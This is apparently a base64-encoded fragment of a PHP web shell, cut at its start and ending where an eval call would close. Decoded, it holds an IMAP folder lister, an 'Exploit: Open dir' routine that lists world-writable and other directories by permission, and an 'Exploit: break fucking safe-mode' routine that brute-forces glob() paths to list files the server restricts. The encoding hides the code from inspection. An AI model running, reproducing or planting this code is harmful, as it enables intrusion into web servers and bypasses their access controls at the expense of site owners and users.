cmltKCRzdHJpbmdbMV0pKTsNCmVsc2UNCiRkaXJfbGlzdCA9IGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRzdHJpbmdbMF0pLCAiKiIpOw0KZWNobyAiPHByZT4iOw0KZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGRpcl9saXN0KTsgJGkrKykNCmVjaG8gIiRkaXJfbGlzdFskaV0iLiI8cD4mbmJzcDs8L3A+IiA7DQplY2hvICI8L3ByZT4iOw0KaW1hcF9jbG9zZSgkc3RyZWFtKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCn0NCiR0Yi0+dGRib2R5ICgiPC90ZD48L3RyPjwvdGFibGU+Iik7DQovLyBvcGVuIGRpciAvLw0KJHRiLT50YWJsZWhlYWRlcigpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD48Yj5FeHBsb2l0OiBPcGVuIGRpciA8L2I+PC90ZD48L3RyPjwvdGFibGU+JywnY2VudGVyJywndG9wJyk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPicpOw0KDQppZihlbXB0eSgkX1BPU1RbJ20nXSkpew0KZWNobyAiPGRpdj48Rk9STSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJFJFUVVFU1RfVVJJJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjx0YWJsZSBpZD10Yj48dHI+PHRkPjxGT05UIENPTE9SPVwiUkVEXCI+cGF0aCBkaXI8L0ZPTlQ+DQo8SU5QVVQgdHlwZT0ndGV4dCcgbmFtZT0nbScgc2l6ZT03MCB2YWx1ZT0nLi8nPg0KPElOUFVUIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3Nob3cnIGlkPWlucHV0PjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT48L2Rpdj4iOw0KDQp9IGVsc2Ugew0KJG09JF9QT1NUWydtJ107DQokc3BhdGggPSAkbSA7DQokcGF0aCA9ICRtIDsNCg0KDQoNCg0KICAgICAgICAkbWV0aG9kID0gaW50dmFsKHRyaW0oJF9QT1NUWydtZXRob2QnXSkpOw0KDQogICAgICAgICRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKTsNCg0KICAgICAgICAkX2ZvbGRlcnMgPSBhcnJheSgpOw0KDQogICAgICAgICRpID0gMDsNCg0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICIkcGF0aC8kZmlsZSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA3NzcnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCg0KDQoNCiAgICAgICAgZWNobyAnPHN0cm9uZz48Rk9OVCBDT0xPUj0jMDBGRjAwPlRoZSBmb2xkZXJzIGlzIDc3NyA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA3NTUnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jRkY5OTAwPlRoZSBmb2xkZXJzIGlzIDc1NSA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA2NDQnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jQ0M5OTk5PlRoZSBmb2xkZXJzIGlzIDY0NCA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA3NTAnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jOTk5OUNDPlRoZSBmb2xkZXJzIGlzIDc1MCA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA2MDQnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jNjY5OTk5PlRoZSBmb2xkZXJzIGlzIDYwNCA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA3MDUnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jMzM2Njk5PlRoZSBmb2xkZXJzIGlzIDcwNSA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA2MDYnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jOTk2NjY2PlRoZSBmb2xkZXJzIGlzIDYwNiA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KLy8vLy8vLy8vLw0KJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQogICAgICAgICAgICAgICAgaWYgKChpc19kaXIoJGZ1bGxfcGF0aCkpICYmICgkcGVybXMgPT0gJzA3MDMnKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCcuKicpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9mb2xkZXJzWyRpXSA9ICRmaWxlMTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCg0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoNCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jMzMzM0ZGPlRoZSBmb2xkZXJzIGlzIDcwMyA6PC9zdHJvbmc+PGJyIC8+JzsNCg0KICAgICAgICBmb3JlYWNoICgkX2ZvbGRlcnMgYXMgJGZvbGRlcikNCiAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gJGZvbGRlci4nPGJyIC8+JzsNCiAgICAgICAgfQ0KDQoNCg0KICB9DQogICAgJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpOw0KDQogICAgICAgICRfZm9sZGVycyA9IGFycmF5KCk7DQoNCiAgICAgICAgJGkgPSAwOw0KDQogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUxID0gcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gIiRwYXRoLyRmaWxlMSI7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpOw0KDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZm9sZGVyc1skaV0gPSAkZmlsZTE7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsNCg0KDQogICAgICAgIH0NCg0KDQoNCiAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCg0KDQoNCiAgICAgICAgZWNobyAnPC9GT05UPjxzdHJvbmc+PEZPTlQgQ09MT1I9I0ZGRkYwMD5UaGUgZm9sZGVycyBhbmQgZmlsZSBhbGwgOjwvc3Ryb25nPjxiciAvPic7DQoNCiAgICAgICAgZm9yZWFjaCAoJF9mb2xkZXJzIGFzICRmb2xkZXIpDQogICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICRmb2xkZXIuJzxiciAvPic7DQogICAgICAgIH0NCg0KICAgICAgICBlY2hvICc8L0ZPTlQ+PHN0cm9uZz48Rk9OVCBDT0xPUj0jRkYwMDAwPlRoZSB0b3RhbCAgOiA8L3N0cm9uZz4nLiRpLic8L0ZPTlQ+PGJyIC8+JzsNCiR0Yi0+dGRib2R5ICgiPC90ZD48L3RyPjwvdGFibGU+Iik7DQoNCiR0Yi0+dGFibGVoZWFkZXIoKTsNCiR0Yi0+dGRib2R5KCc8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+PGI+RXhwbG9pdDogYnJlYWsgZnVja2luZyBzYWZlLW1vZGUgPC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iOTglIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4nKTsNCg0KDQogIGVycm9yX3JlcG9ydGluZyhFX1dBUk5JTkcpOw0KICBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDEpOw0KDQogIGVjaG8gIjxoZWFkPjx0aXRsZT4iLmdldGN3ZCgpLiI8L3RpdGxlPjwvaGVhZD4iOw0KDQogIGVjaG8gIjxmb3JtIG1ldGhvZD1QT1NUPiI7DQogIGVjaG8gIjxkaXYgc3R5bGU9J2Zsb2F0OiBsZWZ0Jz48Rk9OVCBDT0xPUj1cIlJFRFwiPlJvb3QgZGlyZWN0b3J5OiA8L0ZPTlQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXJvb3QgdmFsdWU9J3skX1BPU1RbJ3Jvb3QnXX0nPjwvZGl2PiI7DQogIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nLS0mcmFxdW87Jz48L2Zvcm0+IjsNCg0KDQoNCiAgLy8gYnJlYWsgZnVja2luZyBzYWZlLW1vZGUgIQ0KDQogICRyb290ID0gIi8iOw0KDQogIGlmKCRfUE9TVFsncm9vdCddKSAkcm9vdCA9ICRfUE9TVFsncm9vdCddOw0KDQogIGlmICghaW5pX2dldCgnc2FmZV9tb2RlJykpIGRpZSgiPGZvbnQgc2l6ZT0tMiBmYWNlPXZlcmRhbmEgY29sb3I9JyNDQzAwMDAnPlNhZmUtbW9kZSBpcyBPRkYuPC9mb250PiIpOw0KZWNobyAiPHRleHRhcmVhIG1ldGhvZD0nUE9TVCcgY29scz0nOTUnIHJvd3M9JzMwJyB3cmFyPSdvZmYnID4iOw0KICAkYyA9IDA7ICREID0gYXJyYXkoKTsNCiAgc2V0X2Vycm9yX2hhbmRsZXIoImVoIik7DQoNCiAgJGNoYXJzID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7DQoNCiAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspew0KICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX0iOw0KDQogICRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsNCiAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQpew0KDQogICAgICAgIGZvcigkaj0wOyAkaiA8IHN0cmxlbigkY2hhcnMpOyAkaisrKXsNCg0KICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOw0KDQogICAgICAgICAgICRwcmV2RDIgPSAkRFtjb3VudCgkRCktMV07DQogICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMil7DQoNCg0KICAgICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKyl7DQoNCiAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsNCg0KICAgICAgICAgICAgICAgICAkcHJldkQzID0gJERbY291bnQoJEQpLTFdOw0KICAgICAgICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRyPTA7ICRyIDwgc3RybGVuKCRjaGFycyk7ICRyKyspew0KDQogICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7DQogICAgICAgICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICB9DQoNCiAgJEQgPSBhcnJheV91bmlxdWUoJEQpOw0KDQoNCiAgZm9yZWFjaCgkRCBhcyAkaXRlbSkgZWNobyAieyRpdGVtfVxuIjsNCg0KDQoNCg0KDQogIGZ1bmN0aW9uIGVoKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKXsNCg0KICAgICBnbG9iYWwgJEQsICRjLCAkaTsNCiAgICAgcHJlZ19tYXRjaCgiL1NBRkVcIE1PREVcIFJlc3RyaWN0aW9uXCBpblwgZWZmZWN0XC4uKndob3NlXCB1aWRcIGlzKC4qKWlzXCBub3RcIGFsbG93ZWRcIHRvXCBhY2Nlc3MoLiopb3duZWQgYnkgdWlkKC4qKS8iLCAkZXJyc3RyLCAkbyk7DQogICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fQ0KDQogIH0NCiAgZWNobyAiPC90ZXh0YXJlYT4iOw0KJHRiLT50ZGJvZHkgKCI8L3RkPjwvdHI+PC90YWJsZT4iKTs='))